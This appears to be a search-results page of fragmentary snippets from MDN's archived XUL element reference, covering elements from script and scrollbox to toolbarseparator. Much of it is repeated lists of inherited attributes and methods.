event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), is...
... ...
script - Archive of obsolete content
ication/javascript. note: if the javascript file is in chrome://, setting this attribute to application/javascript will always use the latest available javascript version. if you omit this attribute, the default (and older) javascript version is used (like you get when including a javascript file from web content without specifying a version number). ...
...hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(...
...trollers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), is...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
scrollbox - Archive of obsolete content
oview. prior to gecko 19, scrollintoview() didn't exist in xul. do this instead: var xpcominterface =scrollbox_element.boxobject.queryinterface( components.interfaces.nsiscrollboxobject); xpcominterface.ensureelementisvisible(child_element_to_make_visible); see the nsiscrollboxobject api for other scroll-related methods. ...
...hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(...
...trollers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), is...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
scrollcorner - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] this element is used for the small box where the horizontal and vertical scrollbars meet. ...
...hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(...
...trollers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), is...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
separator - Archive of obsolete content
ove-thin"/> attributes orient type: one of the values below used to specify whether the separator is a horizontal or vertical separator. note that the values are the reverse of what seems more likely. horizontal the separator separates vertically placed elements. vertical the separator separates horizontally placed elements. ...
...hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(...
...trollers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), is...
...these classes should be used instead of changing the style of the element directly since they will fit more naturally with the user's selected theme. groove a grooved separator. groove-thin a thin gro...
spacer - Archive of obsolete content
ace spacing within a container. if you don't specify that the spacer has a size or is flexible, the spacer does not occupy any space. if you want a small gap, consider using a separator instead. more information is available in the xul tutorial. ...
...hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(...
...trollers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), is...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements separator, splitter ...
spinbuttons - Archive of obsolete content
] spin buttons are two arrows, one to increase a value and one to decrease a value. spin buttons are not used as separate elements, but are used in combination with other elements to create a control that can be increased and decreased. for instance, spinbuttons are used for the number type textbox, and with the timepicker and datepicker. ...
...hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(...
...trollers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), is...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
stack - Archive of obsolete content
p="10" bottom="10"/> </hbox> <hbox> <!-- some content here. --> </hbox> </stack> in this example, the resulting width of the top-most hbox will be 400px (600px - 200px - 0) : <stack width="600"> <hbox flex="1"> <!-- content --> </hbox> <hbox left="0" right="200" > <!-- some content here. ...
...hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(...
...trollers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), is...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related deck ...
statusbar - Archive of obsolete content
the bottom of a window. it is virtually equivalent to a standard box, but may be rendered differently. contains statusbarpanels. ...
...nal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties accessibletype type: integer a value indicating the type of accessibility object for the element. ...
...gn, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), h...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements statusbarpanel interfaces nsiaccessibleprovider ...
stringbundle - Archive of obsolete content
e in the xul tutorial. the "src" attribute accepts only absolute chrome:// urls (see bugs 133698, 26291) attributes src properties applocale , src, stringbundle, strings methods getformattedstring, getstring examples (example needed) attributes src type: uri the uri of the property file that contains the localized strings. ...
...pplied array. alternatively, numbered indices of the format %n$s (e.g. %1$s, %2$s, etc.) can be used to specify the position of the corresponding parameter explicitly. if you need to handle substitutions involving plurals, take a look at localization and plurals. getstring( key ) return type: string returns the string with the given key name from the string bundle. ...
...n be used to specify the position of the corresponding parameter explicitly. if you need to handle substitutions involving plurals, take a look at localization and plurals. getstring( key ) return type: string returns the string with the given key name from the string bundle. ...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related xul property files ...
stringbundleset - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a container for stringbundle elements. ...
...hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(...
...trollers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), is...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
tabpanel - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a individual panel in a tabpanels element. this element is optional and you may just use any other container in place of it. more information is available in the xul tutorial. ...
...hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(...
...trollers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), is...
... ...
template - Archive of obsolete content
eference variable. if not specified, the variable specified in the uri attribute of the content tag in the template's first rule is used. member type: string may optionally be set to the variable to use as the member variable. if not specified, the variable specified in the uri attribute in the action body of the template's first rule is used. ...
...hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(...
...trollers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), is...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
textnode - Archive of obsolete content
ttribute. this is useful if you want to use the html element or other elements that have text content inside them instead of in attributes. this element does nothing outside of a template. attributes value examples (example needed) attributes value type: uri the text value to display. this value should be an rdf property (predicate). ...
...hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(...
...trollers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), is...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
toolbargrippy - Archive of obsolete content
operties | methods | related ] not in firefox the notch on the side of a toolbar which can be used to collapse and expand it. this element is used internally by the toolbar and should only be used directly when modifying its theme. more information is available in the xul tutorial. ...
..., observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties accessible type: nsiaccessible returns the accessibility object for the element. ...
..., , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), h...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbaritem, toolbarpalette, toolbarseparator, toolbarset, toolbarspacer, toolbarspring, toolbox interfaces nsiaccessibleprovider ...
toolbaritem - Archive of obsolete content
selected="true"/> <menuitem label="train"/> </menupopup> </menulist> </toolbaritem> <toolbaritem id="sample-toolbutton-unified"> <toolbarbutton id="myext-button1" class="toolbarbutton-1" label="label1" /> <toolbarbutton id="myext-button2" class="toolbarbutton-1" label="labe2l" /> </toolbaritem> attributes inherited from xul element align, allow
events, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
...hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(...
...trollers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), is...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbargrippy, toolbarpalette, toolbarseparator, toolbarset, toolbarspacer, toolbarspring, toolbox ...
toolbarpalette - Archive of obsolete content
ays the toolbarpalette with the idbrowsertoolbarpalette. ...
...hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(...
...trollers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), is...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbargrippy, toolbaritem, toolbarseparator, toolbarset, toolbarspacer, toolbarspring, toolbox ...
toolbarseparator - Archive of obsolete content
eparator between groups of toolbar items. it is functionally equivalent to a normal separator but some themes may apply a different appearance. ...
